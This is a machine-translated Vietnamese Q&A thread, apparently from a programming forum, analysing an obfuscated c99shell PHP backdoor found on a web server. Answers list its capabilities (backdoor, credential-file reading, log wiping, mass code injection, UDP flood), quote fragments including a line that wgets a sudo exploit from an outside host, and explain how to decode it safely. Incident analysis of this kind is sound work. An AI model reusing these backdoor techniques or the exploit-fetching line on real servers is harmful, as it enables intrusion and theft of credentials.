2010-09-14 34 views
22

CẢNH BÁO: Đây là một sự khai thác có thể xảy ra. Không chạy trực tiếp trên máy chủ của bạn nếu bạn không chắc chắn phải làm gì với điều này.Bị tấn công, đoạn mã này làm gì?

http://pastehtml.com/view/1b1m2r6.txt

Tôi tin rằng điều này đã được tải lên thông qua tập lệnh tải lên không an toàn. Làm cách nào để giải mã và giải nén mã này? Chạy nó trong trình duyệt có thể thực thi nó như là một kịch bản shell, mở một cổng hoặc một cái gì đó.

Tôi có thể thực hiện giải mã base64 trực tuyến nhưng tôi không thể giải nén nó.

+0

Có thể cho bạn để dán mã ở đây? Tôi không thể mở liên kết này .. – jyz

+1

Tôi e là nó đã được thực hiện.: (Btw bạn có thể giải nén nó nhưng không đánh số nó. – fabrik

+1

@jyzuz: Mã này rất lớn. – fabrik

Trả lời

32

Vì vậy, có một chuỗi. Nó được mã hóa và mã hóa base64, và mã giải mã base64 và sau đó giải nén nó.

Khi đã xong, tôi đang dẫn với điều này:

<? eval(base64_decode('...')); ?> 

Một lớp base64, dài 720.440 byte.

Bây giờ, giải mã base64, chúng tôi có 506961 byte mã khai thác.

Tôi vẫn đang kiểm tra mã và sẽ cập nhật câu trả lời này khi tôi hiểu rõ hơn. Mã rất lớn.

Tuy đọc qua code, và (rất tốt-thực hiện) khai thác cho phép những công cụ này để được tiếp xúc với các hacker:

  • thiết lập TCP backdoor
  • truy cập vỏ trái phép
  • đọc tất cả htpasswd, htaccess, mật khẩu và các tệp cấu hình
  • nhật ký xóa
  • Truy cập MySQL (đọc, viết)
  • chắp thêm mã để tất cả các file phù hợp với một mô hình tên (khối lượng khai thác)
  • RFI/LFI quét
  • UDP lũ lụt
  • thông tin kernel

Đây có lẽ là một bộ công cụ dựa trên PHP server-rộng khai thác chuyên nghiệp, và vì nó có giao diện HTML đẹp và toàn bộ rất nhiều, nó có thể dễ dàng được sử dụng bởi một hacker chuyên nghiệp, hoặc thậm chí là một kiddie script.

Khai thác này được gọi là c99shell (cảm ơn Yi Jiang) và hóa ra đã khá phổ biến, được nói đến và chạy trong vài năm rồi. Có nhiều kết quả trên Google cho việc khai thác này.

+3

Chà, đó là một thiết lập backdoor hoàn chỉnh. Mặc dù chàng trai đã tải lên nó có lẽ là một kiddie kịch bản khác. Nó được lưu trữ trực tiếp dưới thư mục gốc apache của chúng tôi. Và một hacker thực sự sẽ xóa nó sau khi thiết lập backdoor. – HyderA

+0

Nó có một kịch bản shell trong đó, một chuỗi được gọi là $ backdoor, được viết ra và được thực thi. PHP sau đó cho người dùng biết điều này đã được thực hiện và kết nối với netcat. –

+4

Shit như thế này scares tôi 'mảng (" wget Sudo khai thác "," wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c "),' – HyderA

3

Đầu tiên, thay thế eval bằng một số echo để xem mã nào sẽ thực thi nếu bạn cho phép. Gửi đầu ra của tập lệnh đó đến một tệp khác, ví dụ: test2.php. Trong tệp đó, thực hiện lại thủ thuật tương tự. Chạy nó, và nó sẽ xuất ra chương trình độc hại hoàn chỉnh (nó khá là một con thú), ~ 4k dòng niềm vui của hacker.

+0

Bạn nói đúng, tại sao tôi không nghĩ về điều đó ?! – HyderA

16

Nhìn vào nguồn giải mã của Delan, nó có vẻ là một cửa hậu chính thức cung cấp giao diện web có thể được sử dụng để điều khiển máy chủ theo nhiều cách khác nhau.Nói mảnh vỡ từ các nguồn:

echo '<center>Are you sure you want to install an IP:Port proxy on this 
website/server?<br /> 

hoặc

<b>Mass Code Injection:</b><br><br> 
Use this to add PHP to the end of every .php page in the directory specified. 

hoặc

echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . 
    round(($pakits*65)/1024, 2) . " MB) packets averaging ". 
    round($pakits/$exec_time, 2) . " packets per second \n"; 

hoặc

if (!$fp) {echo "Can't get /etc/passwd for password-list.";} 

tôi muốn khuyên bạn nên chà máy chủ và cài đặt lại tất cả mọi thứ từ vết trầy.

+4

+1 từ tôi, lời khuyên âm thanh. –

7

Tôi biết Delan Azabani đã làm điều này, nhưng chỉ để bạn thực sự biết làm thế nào ông có dữ liệu ra:

Chỉ trong trường hợp bạn đang tự hỏi làm thế nào để giải nén này, sử dụng base64 -d filename > output để phân tích chuỗi base64 và gunzip file.name.gz để parse gzipped data.

Bí quyết là nhận ra rằng những gì bạn có là base64 hoặc gunzip và giải nén các bit phù hợp.

Bằng cách này, nó hoàn toàn không ở đâu gần trình phân tích cú pháp JS hoặc trình phân tích cú pháp PHP.

+2

Mẹo an toàn tuyệt vời; không bao giờ để nó thực thi. –

2

Đây là mã dành cho trình bao php.
để giải mã này

thay thế thay thế eval ("?>". Với in ( chạy này

php5 file.php > file2.php 

sau đó thay thế eval với in ấn và chạy trong trình duyệt. http://loclhost/file2.php

Các vấn đề liên quan